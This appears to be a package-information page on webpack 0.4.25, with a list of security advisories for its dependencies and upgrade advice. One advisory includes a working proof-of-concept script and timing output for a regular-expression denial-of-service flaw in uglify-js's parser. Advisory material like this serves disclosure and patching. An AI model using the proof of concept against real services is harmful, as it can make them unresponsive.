Webpack 0.4.25 represents a minor version bump over its predecessor, 0.4.24, continuing the evolution of this essential CommonJs module bundler for browser-based applications. Both versions offer the core functionalities that developers rely on: efficient packing of JavaScript modules, support for splitting codebases into smaller, on-demand bundles for improved loading times, and out-of-the-box compatibility with various file types, including JavaScript, JSON, Jade (now Pug), CoffeeScript, and CSS. They achieve this versatility through a loader system, allowing for the transformation and inclusion of diverse assets within the bundling process. The listed dependencies for both versions are identical. This means the core toolchain and the support for common loaders remained consistent.
The key distinction lies in the release date, with version 0.4.25 being released approximately one day after 0.4.24 and the tarball URL might be different. While the change log between these specific versions is not provided, such a small increment often signifies bug fixes or minor performance enhancements, rather than groundbreaking new features, and potentially the tarball with the package source code compiled is different. For developers, upgrading from 0.4.24 to 0.4.25 should be relatively straightforward, especially when looking for a low impacting change. If encountering any issues, consulting the webpack repository for detailed changelogs or issue discussions from that era (circa August 2012) would be recommended.
All the vulnerabilities related to the version 0.4.25 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in clean-css
Version of clean-css
prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Upgrade to version 4.1.11 or higher.
Sandbox Bypass Leading to Arbitrary Code Execution in constantinople
Versions of constantinople
prior to 3.1.1 are vulnerable to a sandbox bypass which can lead to arbitrary code execution.
Update to version 3.1.1 or later.